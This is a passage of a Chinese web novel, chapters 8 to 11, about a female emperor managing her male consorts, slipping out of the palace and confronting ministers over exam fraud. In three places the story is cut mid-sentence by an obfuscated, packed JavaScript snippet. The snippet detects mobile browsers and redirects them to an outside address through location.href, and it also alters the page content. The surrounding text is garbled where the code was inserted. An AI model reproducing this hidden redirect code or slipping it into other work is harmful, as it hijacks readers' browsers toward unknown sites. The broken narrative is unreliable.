裴源:“那可太好了。” 郭嘉安:“……” 气氛僵持片刻,见女子并无安抚之意,郭嘉安只得安抚了自己的情绪,又巴巴行至了女子身侧:“陛下就不能哄哄臣。” 裴源瞥他一眼:“你宫里的规制远超君后的栖梧宫,才至初春,就已摆满了满院牡丹,还准你穿君后才能穿的大红色,你还要朕怎么哄你?干脆把皇位让你坐得了!” 郭嘉安尚未做出反应,身后伺候的柴平无端轻笑一声,却不想直接引来了帝君二人的注视。 裴源见他没心没肺的样子随主;谢嘉安则觉得他就是故意卖乖勾引陛下,因而狠狠剜了柴平一眼。 柴平当即心中一惊,放好茶盏,急急躬身退下,却不想郭嘉安怨毒的目光禁止不放。 凤帝似有所察,伸手抵着他的侧脸强转视线:“看你每日无所事事,不妨朕额外再给你一个恩典如何?” 郭嘉安:“什么恩典?” 裴源道:“只要你好好表现,朕准你每月出宫游玩几日,如何?” 郭嘉安眼眸登时雪亮:“真的?” 裴源点头:“但有个前提,不能以贵君行头示人,只能以贵公子的身份出行,出了宫你是想回父家也好,去茶楼听戏也罢,哪怕男扮女装去酒楼听曲看舞,都随你开心。你也不必担心自身安危,朕会寻两个身手好的侍卫随行保护你。可满意了?” 郭嘉安疯狂点头:“满意满意。”他微有狐疑:“只是臣要如何表现,陛下才会准臣出宫啊?” “简单,你只需做到四个字。” 裴源一字一句道:“别、来、烦、朕!” 郭嘉安:“……” 8. 第 8 章 郭嘉安登时哭的很大声,裴源静静打量了片刻,干打雷,不下雨。 裴源听得心烦意乱,皱眉问道:“你到底要不要出宫?” 哭声戛然而止,郭嘉安闷声道:“去。” 裴源一路送他出了后宫。待到分道扬镳时,不下雨的郭嘉安竟真挤出了两行清泪:“陛下果然不喜欢臣。” 说完,带上了几个随从,头也不回的走了,就连裴源对他摆手,他都视而不见。 裴源:“……” 乌宛白偷偷抬眼,看看渐行渐远的宸贵君,又瞅瞅身侧面色从容的凤帝,犹豫良久,还是说道:“陛下,后君既入宫闱,依宫规祖制,除非身逢不测,否则一生不得随意出入宫禁。如今陛下这般纵容宸贵君,倘若被朝中大臣知晓,奴婢实在忧虑……” 裴源摩挲着指上黑玉扳指,状似无意的打断了她的话:“你说宸贵君喜欢朕吗?” 乌宛白愣了一下,偷偷打量着凤帝,平静从容无半分波澜,故而轻声:“……自是喜欢的。” 裴源沉默不语,转身回了凝辉殿。 凤帝放郭嘉安出宫的消息,不过一个时辰便传遍了后宫,那之后的书房便无片刻安生。 原主的后宫,共纳后君十三位,既不至冷清,亦不至喧嚣。 君后与宸贵君,性情恰似天际南北,一端隐忍如沉泥,一端炽烈似烈火。 贵君之下,便是德君庄与之。 裴源对他印象颇深:其子腰间玉佩叮当作响,未见其人,先闻其声。腰肢纤细,身量修长,尤其一双狭长的丹凤眼格外特别。 不苟言笑时,显得孤高冷峻,仿若一位愤世嫉俗的……艺术家。 所以入殿跪拜时,脊背挺得笔直,朗声道:“陛下。” 彼时午后,暖阳和煦,春风拂面,一切恰到好处。裴源侧倚凭几,慵懒地晒着日光浴,险些与周公幽会。耳畔忽闻环佩脆响,才强撑着打起精神,将盖在脸上的奏折随手搁在矮案上,淡淡道:“赐座。” 庄与之利落起身,冷冷瞥了一眼宫侍搬来的圆凳,便径直大步行至方台,挨着裴源坐下。 宫侍怯怯不安地看了眼凤帝,见女子神情慵懒,方才松了口气,躬身搬着圆凳退下了。 凤帝素来偏好饮茶,阖宫上下,后君皆练就了一手好茶道。 裴源依次看下来,唯有庄与之的茶道功夫最为赏心悦目。 一盏清茶奉至裴源面前,茶香袅袅,庄与之直言不讳:“陛下,臣想回父家看看。” 慵懒闭合的凤眸勉强启了一条缝,裴源凝视着男子狭长的眼眸。 庄与之微微敛目,却未颔首,似随时都准备抬眼与凤帝对视。 如此胆大,这在满宫上下也是独一份。 茶水滚烫,不过片刻,炙热便透过轻薄的青瓷,指尖如针扎一般刺痛,但庄与之却连眉头都没蹙一下。 裴源并无虐人癖好,抬手轻点桌案,语气淡然却透着疏离:“朕今日已拒绝了六位后君的出宫请求。若德君不能说出一个打动朕的说辞,那么朕并不会因德君的位分,便宽待于你。” 庄与之同样没有受虐偏好,见凤帝这般举动,直接将烫手茶杯搁在她的手边,直言道:“臣不想诓骗陛下,臣只是想父亲了。求陛下怜臣一片孝子之心。” 言罢,他轻扯裴源的衣袖,声音略带哽咽:“让臣偷偷回去一趟吧,哪怕只有几个时辰也好。” 裴源沉默片刻,方才漫不经心地说道:“怎么办?今日踏入凝辉殿的后君,皆是这般说辞。” 庄与之眼眸微抬,眼底泛起一片血红,嘴角翕动间,只剩哀求:“陛下……” “既然德君未能打动朕,便也不要让朕为难。”裴源伸手将他额前散落的碎发轻轻掖在耳后,语气却透着几分不容有辩的冷意:“回去吧。” 德君失魂落魄从凝辉殿出来的消息,瞬间传遍六宫。 宫侍将消息传入碧落宫时,侍君韩柏猛地撂下手里的茶盏,烦躁不已:“他们说,陛下想要一个打动她的说辞,可能打动陛下的说辞到底是什么?谁能知晓?” 韩柏入宫许久,既未入陛下青眼,又许久未与家人团聚,而今得知陛下有意放后君出宫的消息,自也想出宫看看。 只是要如何求陛下放人,他尚无主见,只能求到柳玉书这儿。 碧落宫的圆窗大敞,阳光穿过几株翠绿的竹子,洒在茶案上的光影交错。 身着湛蓝锦袍的柳玉书闻言,神色如常,只是高举茶壶为韩柏满上一杯茶,才缓缓开口:“先帝风流,育有帝姬皇子十数人,陛下出身最为不堪。陛下幼时,曾多次遭人当众羞辱,骂她‘有爹生没爹养’。这话帝姬、官员说说也就罢了,后宫的宫女宫侍竟也常挂在嘴边。若你是陛下,又当如何?” 韩柏微微蹙眉,俊美的脸上浮起一丝不忍,但片刻后又烦躁道:“可这和后君出宫有何关联?” 柳玉书轻叹一声,眸色微深:“那你再猜猜,这些后君求陛下放她们出宫的说辞,到底是什么?” 韩柏不耐烦道:“后君入宫便无缘再见家人。如今陛下有意放后君出宫,她们自然是想回父家……” 话音未落,韩柏突然怔住,停下踱步的动作,愕然看向柳玉书:“……她们总不会都说是想回家看望父亲吧?” 青竹的影子落在柳玉书脸上,他抬眸迎上韩柏的注视,眸色晦暗:“后君入宫,便是深宫锁步,非特殊情况绝不能随意出宫,否则一旦被大臣知晓,必定会借此参奏陛下,有违族制,有损圣德。 这个时候,谁去求陛下,便是没有将陛下的处境放在心上;谁提及出宫理由是想见父亲,便是在陛下的伤口上撒盐。相反,谁在此刻坐的住,反而会引来陛下青眼。若我没猜错,陛下恐在试探众君待她之心。” 韩柏愣在原地许久,回过神后缓缓入座,烦乱的思绪已然柳玉书这番春风细雨的说辞抚平:“而今阖宫上下,唯剩四人未踏入凝辉殿。” 柳玉书端杯啜饮一口清茶:“除了你、我、君后三人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124173|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便只剩下侧君周天韵。”他默了默,轻言:“吏部侍郎周从南之子。” 韩柏眉宇微深,良久方才起身对柳玉书行了一礼。 虽未开口,柳玉书却已洞悉了他的心思,起身回了一礼,淡然道:“望来日韩侍君飞黄腾达之际,勿忘今日手足相携之情。” 韩柏轻笑一声:“柳卿君何必自谦,您凤榻过夜恩宠,这阖宫上下可是头一份。” 柳玉书不语,只在颔首时,唇边勾起一抹自嘲的笑。 凤帝头疾频发,柳玉书若没猜错,那夜他之所以得此殊荣,恐是陛下昏睡三日后,暂时忘却了过往。因而才将他彻夜留宿,频频提及后宫诸君。 他当时以为凤帝别有用心,或许是对他有所试探。然而,回去后反复思量,才渐渐窥见了另一个真相。 所以那日之后,他并未如后宫诸君所揣测的那般,得陛下格外垂青;相反,被陛下彻底遗忘,再未提起。 果然,她依旧是那个心如寒霜、半分柔情也无的陛下啊。 时至酉未,侧君周天韵侍寝的消息传至阖宫。 柳玉书闻言并无波澜,反而露出一抹果然如此的笃定笑容,碧落宫的宫灯就此熄灭; 彼时,栖梧宫的宫殿灯火通明。 半身镜前,陆长行静静端详着自己柔和的眉眼,半分不见当年北境世子的倨傲。 解安立在一旁,稍显忧虑。 这半身镜是帝后大婚那日陛下亲赐,照人照物无比清晰,仿若置身其境。镜中映出的不仅是人的肌肤,就连发丝纹理、衣裳褶皱都纤毫毕现。 有传闻说,此镜是陛下亲手所制。所以初得此镜时,君后满心欢喜,视若珍宝。他日日对镜正衣理冠,然后去见他最爱慕之人。 如今,镜中的人依旧风姿如故,只是帝王的宠爱早已消逝不见。陆长行轻抚镜面,指尖传来一丝凉意,仿佛连将过往的柔情皆凝固于此。 解安端上一杯安神汤上前,轻声道:“君后,夜深了,早些安置吧。” 陆长行沉默良久,解开镜帘的绳子,任厚重的帘布将镜子埋藏,而后行至衣帽架前取下漆黑斗篷:“月色好,本宫出去逛逛,你们早些休息吧,不必等本宫。” 身影隐入夜色,沿着宫墙疾行,陆长行轻车熟路地避开禁军的巡防,也躲过了忙碌宫人的视线。 城楼的阶梯就在眼前,陆长行脚还未踏实,余光便瞥见几个暗影。他条件反射般退入暗处,抬头看清来人,柳叶般狭长的眼眸瞬间瞪圆。 “陛、陛下……” 裴源微微挑眉,脸上似写着“果然如此”四个大字,随后转身步入阴影。才走了几步,复又回头,看着愣在原地的陆长行,语气中带着几分调侃:“还不跟上?等朕过去抱你吗?” 陆长行玉面生晕,万幸被夜色掩盖。 “噗~” 轻笑声打破寂静,更引来陆长行侧目,两人目光对视,周天韵大方上前:“今夜好风景,不知臣能否有幸,邀君后同游市肆?” 9. 第 9 章 华灯初上,长街星火点点,街道两边摊贩林立,行人摩肩接踵。 酒肆茶楼时不时传出笑语喧哗和丝竹声声,舞郎舞袖翩翩,衣袂生风;文人墨客,吟诗对酒,各抒诗情。 一行五人端的是气派清雅,但眼波流转,分明是看什么都觉得新奇有趣。 乌宛白虽侍奉御前,也有出宫行走的机会,可逛市肆这么惬意的事情实属奢侈,正看的入迷时,后背突然被人中重重一拍,凤帝清冷的声音萦绕耳边:“你把后脊梁给我挺起来!” 乌宛白吓的一缩,回过神哂笑着,颇有些不自在直了直后背,却还是微躬着身。 裴源瞥她一眼,指点道:“想象自己胸前有盏明灯,你要大放光芒,照明前路,就像这样——” 说着挺起胸膛,走出了虎虎生风的架势,几人被逗的忍俊不禁,只有陆萧玉神情紧绷四下注视,生怕突然窜出来一个的狂徒照着凤帝胸口来一刀。 接到凤帝要出宫的消息十分突然;一行人偷偷摸摸从狗洞爬出皇宫,她更是始料未及,谁家好皇帝敢当着后君、侍卫、宫女的面爬狗洞啊! 陆萧玉有点害怕,依着她对凤帝的了解,她即将会被凤帝杀人灭口。 正专心坚守最后一班岗的陆萧玉,很突然就与凤帝打了一个照面,思绪骤然回拢,发现头上多了一根步摇,面前凤眸被灯火映的明亮:“你呀,就是活的太糙了,女人还是要多打扮,这样才显得俏丽。” 说着,转头看向身侧的乌宛白:“这步摇如何?” 乌宛白瞥了眼陆萧玉头上的步摇,再看看步摇之下那张黢黑又刚硬的脸~努力挤出一抹微笑:“主子的眼光自然好。” 凤帝大受鼓舞,马上又寻了一支缀着小花的步摇插进了乌宛白的发髻,陆长行与周天韵自也没落下。而后像模像样的从荷包里取了几个铜板递到摊贩手里,继续向前。 待其走远,四人心照不宣拔下头饰。 周天韵十分嫌弃的看着手中的木簪:“这簪,与我那七十岁的祖父头上插的一模一样。” 陆萧玉甚至都不敢直视手里的步摇,直接取下塞进了袖口里。 只有陆长行极度无语:“至少送你们的,她区分出了男女。” 三道目光齐齐落到了他手心躺着的乌木簪,上头的几朵小花雕的栩栩如生。 四人:“……” 凤帝如此审美,四人也是意想不到。 一行人马直抵南市的御宴楼,传闻这家酒楼的菜肴可媲美御膳,引得无数富商官吏趋之若鹜,夜夜高朋满座,宾客络绎不绝。 裴源本以为此言夸大,直至乌宛白取了一张竹牌,上头赫然写着“肆拾柒”时,才知这酒楼果真火爆异常。 正犹豫要不要换家酒楼,适才倨傲高冷的小二却突然堆起满脸笑容,一路小跑冲下台阶,立在尚未停稳的马车之侧。 几人不禁好奇,究竟是何人这么大脸面,就见门帘轻掀,露出一张熟悉的面孔,来者竟是工部尚书刘丝柳。 小二笑得愈发殷勤,双手小心翼翼的托着刘丝柳的胳膊,扶她下了马车:“刘大人,您可慢些。若是磕着碰着,羽扇公子还不扒了小人的皮。” 刘丝柳似是心气不顺,刚出车门时脸色微显晦暗,但在小二三眼两语的奉承下,面色渐渐舒缓,高昂着头睨着身侧躬身的小二:“本官不过多宠幸了他几日,他便如此跋扈,处处给人脸色?” 宠幸? 四人下意识看向裴源,只见她兜帽之下,面容冷白,竟无半分波澜,只是嘴角微勾,似在看一场猴戏。 小二讪笑的表情一怔,旋即躬身托着刘丝柳,笑得愈发灿烂,俨然一副谄媚的宫女做派。 “哪里,哪里,是羽扇公子太过想念大人,日日将大人挂在嘴边。小人听多了,自是要多照应大人。” “算他有心。”刘丝柳冷哼一声,不屑道:“只是太过拈酸吃醋,忘了自己的本分,本官必须得给他些教训。你去通知王掌柜,本官今夜……” 二人并肩进了酒楼,恰从五人身侧经过。虽刘丝柳对小二耳语,但“翻牌子”三字依旧清晰的落入了几人耳中。 陆萧玉拳头紧攥:“简直岂有此理!这些人俨然未将皇权放在眼里!” 她下意识看向凤帝,只待她一声令下,便要当众踹开酒楼的紧闭的大门,然后一刀砍下那个道貌岸然的工部尚书头颅,有此做例,看哪位宵小还敢造次! 却不想凤帝一脸淡然:“看来所谓的御膳,不过是些以色侍人的把戏,实在无甚滋味。”她说着转身道,“走吧,我请诸位吃别的。” 陆萧玉微微蹙眉,欲言又止:“陛下……” 话音未落,乌宛白已抬手捂住她的嘴,低声道:“主子自有分寸,陆娘子切不可因小失大,忘了今夜的正事。” 正事?陆萧玉心中一凛,瞬间回过神来。今夜凤帝悄然出宫,身边只带了她一名侍卫,保护陛下周全才是头等要务。 夜市正街的酒肆早已座无虚席,无奈之下,陆萧玉推荐了一家小酒馆。酒馆桌椅破旧,墙板也似多年未曾修缮,显得破败不堪,好在安静,却不想,今日竟坐满了学子。 陆萧玉脸上微微泛起红晕,有些尴尬说道:“近来考生多,要不,还是换一家吧?” 裴源觉得甚好,学子大多文静,不至于吵闹;街边景色虽不热闹,但也别有一番韵味,见窗边还有张空桌子,大大方方迈入其中。 陆萧玉是酒馆常客,掌柜也大气,多送了两壶酒,那酒辛辣浓烈,一口入喉,裴源瞬时生出一层薄汗,于是大方邀请几人共饮。 起初几人还是拘谨模样,三杯烈酒下腹,气氛渐渐火热起来。 彼时,酒馆渐渐热络起来,远赴京城的学子,话题总绕不开正榜、题名。 “春闱结束也有一段时日了,若再不张榜,我恐要沿街乞讨回家了。” 裴源不由看了眼那位学子,一袭棕色的棉布长衫早被水洗的发白,与同砚同席,旁人都在吃面,唯她只同掌柜要了一碗面汤,就着一张自带的硬饼。 可见掌柜厚道。 同席穿着绿裙学子闻言,喟然叹道:“听闻礼部早已定出此次春闱之佼佼者,今日早朝,本欲请陛下用印,张榜公示,却遭陛下驳回。” 棕衣学子蹙眉:“缘何?” 绿裙学子道:“我哪知道。” 棕衣学子长叹一声,语气中满是怨怼:“都说陛下有意拔擢寒门,我本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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曾芩燕继续道:“出了这京城安逸之地,各州各县的学子,大多出身贫苦、家境清寒。我等奔赴京城,家境稍好些的,还能多备两套换洗衣裳,多带几两盘缠;像我这种家徒四壁的,只能靠入京做些零工维持生计。不才,正街那些叫得上名的酒楼,在下都去刷过盘子。甚至还为那些高高在上的官吏跑过腿,这期间频频出入高门府邸。偶尔听到些只言片语,自也不足为奇。” 酒馆一时静默无声。 这徇私舞弊虽被官府禁止,但大家的心里都清楚,私下如何运作不过是她们身份低微,触碰不到罢了。 明知不公又能如何?她们还愿意去博一个机会,那些人总不能将名额都占了去吧? 可适才她说……那张金榜,注定不会她们的名讳了? “既如此?”学子反驳她道:“你何必还留在京城,干脆收拾包袱回家去吧!” 曾芩燕早知她们不信,便也懒的多言,无奈苦笑,一路摇摇晃晃的走出酒馆。 只是刚一行到暗处,颈上竟突然悬了一把寒刃。 刺痛的寒意瞬间激走了微醺的醉意,曾芩燕面色惨白,虽心有惧意,背脊依旧端的笔直,她转过身认出来人,正是临窗的客人之一。 她自嘲一笑:“看来娘子是想杀人灭口了?” “误会了,”裴源缓步向上,推开了陆萧玉手中的短刃:“其实是……有个狗洞,请你爬一下。” 10. 第 10 章 即便被狂悖之徒将刀架在脖子上,曾芩燕还是觉得自己气节不能弯; 但看到巍峨的城墙时,她怔了一下; 稀里糊涂被推搡到偏僻墙角看到狗洞后,她又迷茫了片刻; 最后,狂悖之徒当着她的面争先谦让其中一个女子先爬,并尊称她为‘陛下’的时候,曾芩燕陷入了沉思…… 这个京城好颠啊。 达官贵人她懒的评判,左不过是一群蝇营狗苟之徒,干的是作奸犯科之事,行的是道貌岸然之风。 但眼前的‘陛下’‘后君’,她觉得可以评判一下。 “我熟读使书,历朝以来,堂堂天子都是至尊高贵之人,纵然如今的天子昏聩无能、荒诞不经、残暴至极、毫无建树、还将朝政治理的乱七八糟。但我相信,她绝不可能钻狗洞。” 刚俯下身准备钻洞的裴源愣了一下,而后抬头看向身侧立的比铁板还直的女子。 光影昏暗,唯有淡淡月光,将凤帝冷白的脸色映照的更加可怖,就连凤眸看着都比往昔更加凌厉阴森。 乌宛白吓的想跪;陆萧玉无端想将悬在曾芩燕脖颈上的刀,抹了自己的脖子;两个后君更是相依着不敢说话。 空气静默良久。 裴源冷笑着打破沉默:“小嘴跟抹了砒霜似得。” 说完,大大方方的钻进了皇城。 几人:“……” 就这? 陆长行急忙屈身,周天韵、乌宛白紧随其后。 曾芩燕依旧立在原地,全然一副宁折不弯的样子,陆萧玉终于抑制不住心中的怒火,先后两脚直接将她踹趴在地,最后一脚狠狠落在她的屁股上:“进去吧你!” 曾芩燕突然意识到自己可能是绑架了,绑进宫里做宫女。 宫女…… 一辈子不能人事的宫女。 想她曾家三代单传,即便家徒四壁,可她依旧肩负着血脉延续的重任。而今,科举无望,竟连传宗接代也要腰斩? 缘何如此?缘何如此啊! 念此,曾芩燕只觉眼前一黑,直接载到在了后宫甬道,沉沉睡去。 裴源:“……” 裴源看着乌宛白道:“安置一下,明日清醒朕有话问她。” 说罢,随手拉着陆长行的手大步向前。 周天韵眉头微挑,忍不住提醒道:“陛下,若没记错,您今夜翻的……好像是臣的牌子。” 裴源愣在原地。 陆长行微微一笑,轻推了她的拉扯,垂眸拂了一礼:“时辰不早了,陛下与贤卿君好好休息吧,臣告退。” 陆长行退至暗处,有阴影遮挡,不过片刻就消失在了众人眼底。 见裴源呆在原地,周天韵上前唤她:“陛下,您怎么了?” 裴源愣愣回首,看着几人问:“你们看见了吗?” 几人均是一头雾水,周天韵不禁反问:“看见什么?” 裴源正色道:“君后刚刚在笑。” 她宠幸别人,陆长行竟然还能笑的出来,而且跑的飞快。君后尚且如此,更遑论其他后君? 没有感情,全是利用! 裴源眼皮微抽,一拂斗篷,愤而离去:“这个后宫,不要也罢!” 留下几人风中凌乱。 因为君后笑了一下,然后凤帝不要后宫了?这合理吗? 周天韵陷入深思:“气氛如斯,本宫今夜还需侍寝吗?” 陆萧玉:“……” 乌宛白摸摸鼻子:“要不,奴婢送您回去?” 周天韵大方摆手:“无需乌尚宫奔波,本宫找得到回去的路。” 说罢,也走了。 陆萧玉眉头微蹙:“你有没有感觉,陛下好像哪里不一样了?” 乌宛白重重拍了一下她的肩头:“夜深了,陆指挥使早些休息吧。养精蓄锐,明日还要上值呢!”说完,附身将晕倒在地的学子扛上了肩头,也很快消失在了黑暗中…… 曾芩燕这一觉睡的格外长,所以醒来后看着金碧辉煌的宫殿,她一度以为自己上了天宫。 被宫女一路带去凝辉殿,殿内此起彼伏的争论声,慢慢将她从幻境中拉回现实…… “……如此说来,陛下昨日在朝堂上一番陈词,并无任何凭证,皆为揣测?” 辰时阳光普照,凝辉殿殿门大敞,殿内的一切暗影无所遁形。曾芩燕微微探头,只见明黄凤案后的女子面对质疑神色如常,只是眸光透着冷意,一一扫过堂下众臣。 曾芩燕一眼便瞧见了几个眼熟的人,她们是南市酒楼的常客,她曾见过她们身穿锦衣常服的模样。而今日,她们皆身着端庄官裙,举手投足间,竟也显得人模狗样。 彼时,凤帝开口,清冷之音在殿中回荡:“傅大人,是在质疑朕的判断?” 礼部尚书傅泽惠微微躬身,口中说道:“不敢。”然而,她的言辞与举止却满是轻蔑:“陛下仅凭贡院火场废墟中采集到的一丁点硝石,便怀疑诸臣不忠,认定工部在考棚增设暗格;礼部与国子监提前将答案布置其中,依此徇私舞弊,阻碍寒门入仕。以上种种,皆无实证,这难道不是构陷吗?” 殿中沉寂几息,堂下唯一一个坐在太师椅的长者,双手扶着紫檀杖上的夜明珠缓缓启唇:“贡院起火,连烧十七处考棚,此事关系甚大,依司法流程,需三司推事,共同协理。然,那时陛下身陷昏迷,此案竟由君后下令,指使凤鸣卫陆指挥使全权查办。凤鸣卫将贡院围剿的水泄不通,不允任何人出入,而今,陛下又不满刑部、大理寺未调查贡院起火一事。陛下此举,不免太过霸道。” 老臣浑厚的言辞在殿内回荡,久久不绝。端坐高位的女子这才轻笑一声,打破回声的余韵。 “朕明白了。看来诸位爱卿今日不仅拒不承认自己在春闱之事上做了手脚,还要倒打一耙,咬定朕信口开河;甚至逼朕当众认错,责罚君后,取消凤鸣卫?是这样吗?” 齐翁卿闻言,眼眸微微睁开一条缝,冷冷瞥向高台:“陛下,贡院起火一事,三司尚未深入调查,您口中所谓的工部、礼部及国子监的罪证,还需查证之后方能确认。至于其他……恕老臣直言,我朝自立国以来,司法体系早已完备,大理寺掌管审判,刑部负责刑狱,御史台监察百官,三司各司其职、相互制衡,足以维护朝廷纲纪。不该出现如凤鸣卫这般凌驾于三司之上的侍卫机构;而君后身为男子,且为罪臣之后,更不该干涉朝政!” 国子监祭酒附和:“陛下,如今凤鸣卫权柄过重,行事不受约束。若不加以制衡,任其发展,必将成为朝堂祸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这位先帝之师,学富五车,虽出身贫苦,却以自身饱学之才辅佐先帝数载,堪称寒门学子的楷模,深得天下士子敬仰。就连曾芩燕也对她满心钦佩,此生唯愿一睹尊容。 然而,今日御书房一见,曾芩燕心中满是失望。 她们分明倚老卖老,欲将凤帝玩弄于股掌之中! 再观凤帝,似已对堂下状况见怪不怪,只在片刻的平息后,愠怒之色逐渐归于平和,她复又倚靠凤帝,黑玉扳指叩击的凤案咚咚作响。 三声之后,骤然停歇,凤帝语气闲适道:“柳大人果然深谙帝王之道,难怪深得羽扇公子敬仰。” 刘丝柳瞳孔皱缩,下意识抬首望向女子,女子又道:“朕为君王三载,前朝之事或许毫无建树,但谈起后宫诸君,还是颇有心得。今日便与柳大人相谈一二。” 凤帝言此,屈身趴在案上,微微笑道:“女人仗着权势便以为能凌驾男人之上,男人又何尝不能虚与委蛇,谋自己的出路?什么细柳扶风、浓情蜜意?大家不过是各凭本事,在自己的方寸世界谋求更为舒适的生存手段罢了!你想翻别人的牌子给郎君教训;可追究根本,还不是因为穿了这身皮?否则人家年纪轻轻的公子,凭什么会喜欢上你这肥头大耳的猪?” 刘丝柳怒急,下意识直指凤帝:“你……” 乌宛白厉声高呼:“大胆,竟敢直指圣颜!禁军卫何在?” 禁军卫尚未出现,凤帝拂手制止,边步下高台边道:“谁是御宴楼的常客,朕心中有数。既然一个个都想为君为帝,拥有自己的后宫,还废那些劳什子力气作甚?朕干脆退位让贤,这凤座啊,就留给诸位爱卿算了。” 11. 第 11 章 御驾愤而离去,御撵之上的女子强压怒意,拇指紧扣着扳指,勒的指腹泛白都不见松。 乌宛白看在眼里,愤愤道:“陛下太过仁慈,依奴婢之见,就该当众仗责刘大人三十大板,以儆效尤!” 黑玉扳指紧叩扶手,发出一声闷响,凤帝凌然之语落下:“朕看你是活腻了。这话若传到诸位大人耳中,屁股先开花的,指不定是谁呢。” 乌宛白垂下眼睫,低声道:“都怪奴婢无用。” 裴源沉沉呼了口气,努力压下滔天怒火,冷道:“说没用,谁最没用?她们都要骑在朕的头上拉屎了!” 也不知原主继位这三年怎么熬过来的,裴源现在只想发疯创亖所有人。 她死,她们也别想活! 凤帝面色不悦,乌宛白亦满心愤慨,双手紧攥浮尘手柄,目光如剑,狠狠盯着脚下的青石板路,似要将地面凿出千百个窟窿。 曾芩燕悄无声息地跟在队伍末尾,将主仆二人的对话听得清清楚楚。 坊间久有流言,说凤帝不过庸碌草包,既无先帝的英明神武,亦无先帝的仁善宽厚。登基三载,不仅毫无建树,反而残忍暴戾,挥霍无度。若非朝臣苦苦相劝,恐早已横征暴敛,搜刮民脂民膏。 这些话不知从何时起开始肆意流传,曾芩燕此前也深信不疑。 而今日之事,却让她心起波澜,流言原是三人成虎,道听途说。 她犹豫几息,兀自打破沉默:“学生以为……陛下若想打破朝局众臣环伺之象,不妨矮下身段,深入其中。” 裴源一愣,倏地转头看向队伍中化作鹌鹑的女子:“你何时来的?” 曾芩燕小心抬眸,声音细弱蚊声:“刘、刘大人指责您无凭证臆测那会,学生就来了。” 裴源眼角微抽,凤眸如刀刃般凝了她良久,方才冷哼道:“好哇,如今一介学子也敢来教朕如何做帝王了!” 曾芩燕初入宫廷,亦不同官场规矩,闻言只字未语,只瑟缩的低下了头,跟在乌宛白身侧疾步向前。 乌宛白默默拂去了额上细汗,说来,带曾芩燕去凝辉殿也是她的主意,只是群臣突然到访,她也是始料未及。 正犹豫要不要请罪,御撵之上的女子忽而扶额,痛苦呻吟响彻甬道,乌宛白抬眸望去,只见凤帝面色惨白,额上青筋暴起,显是头疾又发作了。 她面色一沉,厉声呵道:“快、快,前往栖梧宫!计安!” 计安应声而动:“知道了,师父!” 抬轿的宫人脚下生风,步履急促,而计安更是如离弦之箭狂奔而去,直抵栖梧宫方向。 曾芩燕一头雾水,不明所以。只是瞧见凤帝毫无血色,身子因痛苦在凤撵上扭动不歇,双手紧捂额头,似在承受着极致的刺痛。而宫人们却似见惯不惊,肩扛凤撵疾行,竟无半点颠簸,步履稳健,俨然训练有素。 她一路跟随队伍,却在迈入后宫的玉华门前,被巡防的禁军拦下了脚步。 就算是普通人家,也应知晓外女不入内的规矩,曾芩燕只得原地留守,若非陆萧玉听到了消息接她一程,她恐只能窝在门下台阶做鹌鹑。 “学生多谢陆指挥使。”曾芩燕抱拳揖礼,语气恭敬,全然不见昨日的傲然神色。 “你命大。”陆萧玉冷哼一声,语气中满是嫌弃:“上一个不分青红皂白当着陛下面大放厥词之人,舌头都被绞得稀碎!”她瞥了她一眼,冷笑道:“那舌头还是我亲自绞的!又腥又臭,狗都不吃!” 曾芩燕心有余悸,扶了扶额头,低声说道:“……学生惭愧,昨晚不知她就是至尊圣上。” “不知就是你肆意编排讽刺陛下的理由?” 陆萧玉冷道:“陛下登基三载,勤于政务,殚精竭虑。既要防群臣暗箭,又要为民生福祉与之周旋。此番科举,更为寒门子弟费尽心力,却不想一场大火,全部心血付之东流,你不知全貌,妄言辱圣。我看那圣贤书都白读了!” 曾芩燕一脸惭愧,只将头埋的更低…… 彼时栖梧宫中,凤帝痛苦的嘶吼声渐渐平息,情绪也趋于平和。明明日头高悬,可随着厚幔落下,床榻之中一片漆黑,唯有清冽的沉香飘入帐内,不多时,女子绵长的呼吸声轻轻传出幔外。 跪守在外的陆长行这才松了口气,轻手轻脚地退出寝殿。 门外,乌宛白来回踱步,见君后身影才长长松了口气,全身无力的倚在廊下红木柱上,抬手拭去额上的细汗。 殿门紧闭前,一阵疾风涌过,洇湿的衣袍被风一吹,乌宛白不禁打了个寒战。 陆长行眼底冰凉:“距上次复发,时隔七日。” 凤帝的头疾初发于七年前,病发之际,几欲自绝。期间遍寻名医,然而面对怪症,众医者皆束手无策。 万幸的是,裴源遇到了陆长行。 十年前,镇北王因军械案被诛全族,陆长行因在外游历而侥幸逃过一劫。那几年他经历了什么,无人知晓。只知旧人重逢时,他竟轻易解开困扰裴源一年之久的头疾。 自那之后,陆长行便长伴裴源身侧。 众人也才知晓裴源的头疾之谜,竟是有人暗中施蛊。母蛊藏匿于脑窍,平日沉睡,唯催动子蛊方能苏醒。是以裴源头疾频发,全无定数,短则一两日,长则个把月。 这些年,裴源遍寻子蛊之人,奈何斩草难除根,一母多子蛊,犹如雨后春笋,绵绵不绝。 裴源登基后,屏退了寝殿、书房所有宫人,与朝臣相见时也极力保持身距,更是鲜少招后君侍寝,近身之事,皆由乌宛白亲自侍奉,这才换来一时安宁。 然而春雨绵延,宵小破土,短短七日,竟复发两次。 陆长行摩挲着手腕银镯,沉吟片刻:“如此看来,此人并非柳玉书。” 七日前,裴源头疾复发,最可疑的便是卿君柳玉书。可自那之后,柳玉书再未出现在裴源身畔。 